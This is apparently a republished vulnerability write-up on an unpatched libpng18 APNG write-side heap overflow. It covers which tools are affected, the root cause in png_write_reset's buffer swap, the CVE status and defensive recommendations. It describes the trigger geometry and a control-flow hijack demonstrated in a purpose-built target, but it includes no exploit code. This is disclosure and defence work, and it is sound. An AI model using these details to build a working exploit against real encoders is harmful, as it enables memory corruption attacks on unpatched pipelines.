imagecodecs (Python)API path confirmed in sourceDirect png_write_frame_head / png_write_frame_tail usage via a vendored patched libpng. Not reproduced end to end against the package itself.
apngasm v3.1.10, apngopt 1.4Not affectedpng_write_image per frame; APNG container assembled manually with fwrite. Does not reach the per-frame write API.
ImageMagickNot affectedpng_write_row with png_write_info / png_write_end, without png_write_frame_head / tail.
Pillow, GraphicsMagickNot affectedPillow writes its own chunk headers; GraphicsMagick ignores APNG chunks even against a patched libpng.
Browsers and image viewersNot affectedRead-only consumers. Displaying an APNG does not call png_write_* at all. This is an encoder-path defect.
.NET ImageSharp, Rust image-png, Go apngNot affectedPure-language APNG implementations — no libpng linkage.
libvips (APNG branch, 2026)Worth watchingAn active PR adds APNG read/write via libpng. Not deployed yet, but a server-side path worth re-checking once merged.
Tool-by-tool reachability survey. Source: original article.

What this is not

This is not remotely triggerable against a decoder. Receiving, viewing, or displaying a PNG or APNG does not reach the vulnerable code. Any application is in scope only if it generates APNG through libpng’s per-frame write API — so the useful question about any given product is not “does it display PNG?” but “does any part of its pipeline encode APNG through png_write_frame_head?” The researcher has not confirmed that for any consumer product and declines to imply it by listing names.

Version reach

libpng18. libpng17 was abandoned years ago, and libpng16 does not and will not carry APNG. The caveat is the third-party libpng-apng patch: a patched v1.6.x build will most likely carry the identical defect, and those downstreams should pick up the fix once it lands upstream. Mainstream system libpng on Debian, Fedora and Arch ships the 1.6 stable line without the APNG write API, which bounds today’s exposure — but that changes as libpng18 reaches distribution channels, which is the argument for fixing it now rather than later.

Key Questions

Quick answers

Is the libpng APNG write-side heap buffer overflow patched?

Not yet in a released version. The maintainer accepted the patch essentially as submitted on 2026-06-23 and will land it behind a regression test, but the fixed release has not shipped. The fix is a roughly 9-line addition to png_write_reset in pngwutil.c that releases the per-frame scratch buffers so they are re-allocated at the correct size.

What software is affected by the libpng APNG write-side overflow?

libpng18 (post-v1.6.58), in the per-frame APNG write API. The only in-tree caller is pngtest, which Debian ships in the libpng-tools package. Any application built directly against png_write_frame_head, png_write_rows and png_write_frame_tail is also in scope. The Python package imagecodecs calls those symbols in its source, which shows the API is used outside libpng’s own tree, but it was not reproduced end to end and its wrapper appears to emit full-canvas frames rather than the varying-width geometry this bug needs. Patched v1.6.x builds carrying the third-party libpng-apng patch most likely share the defect.

Are browsers or image viewers affected?

No. This is an encoder-path defect. Displaying, receiving, or decoding a PNG or APNG never calls png_write_frame_head or png_write_rows, so read-only consumers — browsers, image viewers, and plain decoders — do not reach the vulnerable code at all. A separate 158-million-execution campaign against libpng 1.6.50, whose 11 harness paths were dominated by the parser, found zero memory-safety issues.

Is this remote code execution?

No. A purpose-built target called vuln_app demonstrates a control-flow hijack from a 638-byte APNG, but it materialises two attacker primitives inside the binary itself — fixed addresses via -no-pie and a MAP_FIXED bump allocator for a deterministic heap — as stand-ins for a real info leak and heap-shaping primitive. That shows the out-of-bounds write is mechanically weaponizable under standard exploitation prerequisites. No end-to-end exploit against pngtest or any deployed application was developed.

What is the root cause?

png_write_reset resets frame-progress state between APNG frames but does not release the per-frame scratch buffers. Because png_write_filtered_row swaps row_buf and prev_row after each row, a narrow intermediate frame’s small buffer survives in prev_row across the frame boundary and is swapped back into row_buf on the second row of a later, wider frame, where the row memcpy overruns it. The initially reported mechanism was different and was corrected by the maintainer during triage.

Is there a CVE for this?

Not yet. A CVE was requested on 2026-06-23 and again on 2026-06-29. GitHub declined the request on 2026-07-10 under CNA rule 4.2.11 because the advisory then covered more than one independently fixable vulnerability. The advisory was narrowed to a single vulnerability on 2026-07-11 and the CVE remains unassigned. It is tracked as GHSA-wr84-h9jm-6g23.

Who discovered it?

Ariel Koren, through a libFuzzer campaign against libpng18’s APNG re-encode path. The root cause of the buffer swap and the end-to-end patch validation are credited to the libpng maintainer, Cosmin Truta.

Key Takeaways

  • One missing set of png_free calls in png_write_reset produces both a CWE-401 memory leak and a CWE-787 heap buffer overflow — the symptom depends entirely on whether the APNG’s per-frame widths are uniform or varying.
  • The real mechanism is the filter double-buffer swap in png_write_filtered_row, not an undersized reallocation; png_write_start_row does fire correctly on every frame. The reporter’s original causal story was wrong and the maintainer corrected it during triage.
  • The overflow carries 100% attacker-controlled bytes and scales linearly with canvas width — from 3 bytes at the canonical W=4 seed to roughly 4 MB per row at libpng’s default 1,000,000-pixel user-width limit.
  • Sub-kilobyte inputs are sufficient: 263 B leaks, 467 B corrupts the heap, 638 B hijacks control flow in a purpose-built target, and every one of them decodes cleanly through libpng’s read path.
  • Reachability is the limiting factor. Only encoders that drive the per-frame APNG write API are exposed; apngasm, apngopt, ImageMagick, Pillow, GraphicsMagick and every browser are not.
  • The write-side attack surface was under-fuzzed precisely because standard OSS-Fuzz targets pressure decode — a read-then-re-encode harness surfaced the bug in under 30 minutes.
  • As of publication the patch is accepted but unreleased, the GHSA is still a draft, and no CVE has been assigned — defenders cannot rely on version-based detection yet.

Defensive Recommendations

  • Inventory your encoders, not your decoders. Grep your dependency tree and vendored sources for png_write_frame_head, png_write_rows and png_write_frame_tail. If none of your code or its dependencies calls those symbols, you are structurally out of scope for this bug.
  • Check whether your libpng is built with PNG_WRITE_APNG_SUPPORTED. Mainstream 1.6 stable builds on Debian, Fedora and Arch are not; libpng18 and third-party libpng-apng-patched 1.6.x builds are. This is the first gate and the cheapest one to verify.
  • Apply the png_write_reset patch out-of-band if you vendor libpng18. The fixed upstream release has not shipped, so any organisation building libpng18 from source should carry the nine-line free-the-scratch-buffers change themselves rather than waiting.
  • Reject or normalise varying-width APNG frames at the ingest boundary. If your pipeline re-encodes user-supplied animations, validate that every fcTL frame width matches the IHDR canvas width, or pad frames to full canvas before they reach the encoder. That removes the structural trigger regardless of library version.
  • Clamp PNG_USER_WIDTH_MAX to something your application actually needs. The 4 MB per-row overflow ceiling is a direct function of the 1,000,000-pixel default. Setting a realistic limit via png_set_user_limits caps the blast radius of this bug and of every future geometry-driven defect.
  • Isolate image re-encoding in a sandboxed, short-lived process. seccomp-bpf, a dedicated low-privilege user, and per-request process recycling all convert a heap-metadata corruption primitive into a crash rather than a pivot — and they also blunt the linear memory leak.
  • Fuzz your own write paths. If you ship an image pipeline, build a read-then-re-encode harness and include a geometry mutator that perturbs per-frame dimensions independently. The entire bug class here was invisible to uniform-width generators.
  • Track GHSA-wr84-h9jm-6g23 rather than a CVE ID. Because no CVE has been assigned, scanner-based detection will not flag this. Watch the advisory and the libpng18 release notes directly, and re-check libpng-tools / pngtest exposure in build and CI images.

Conclusion

This is a small bug with a large ceiling and a narrow door. The defect itself is three lines of missing cleanup in a lifecycle helper that has looked innocuous for as long as it has existed; the primitive it yields is deterministic, fully attacker-controlled, and scales to megabytes per row; and the population that can actually reach it today is measured in individual binaries rather than ecosystems. All three facts are true simultaneously, and a severity assessment that drops any one of them gets the answer wrong. The more durable lesson sits one level up: the write side of mature parsers is systematically under-tested because the fuzzing infrastructure the industry built points at decode, and a harness that simply mirrors what real image pipelines do — read, then re-encode — found security-relevant memory corruption in under thirty minutes against one of the most heavily fuzzed libraries in existence. That gap is worth closing deliberately, in your own pipelines, before someone else measures it for you.

Original text: “0day: libpng APNG OOB Write” by Ariel Koren at arielkoren.com.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion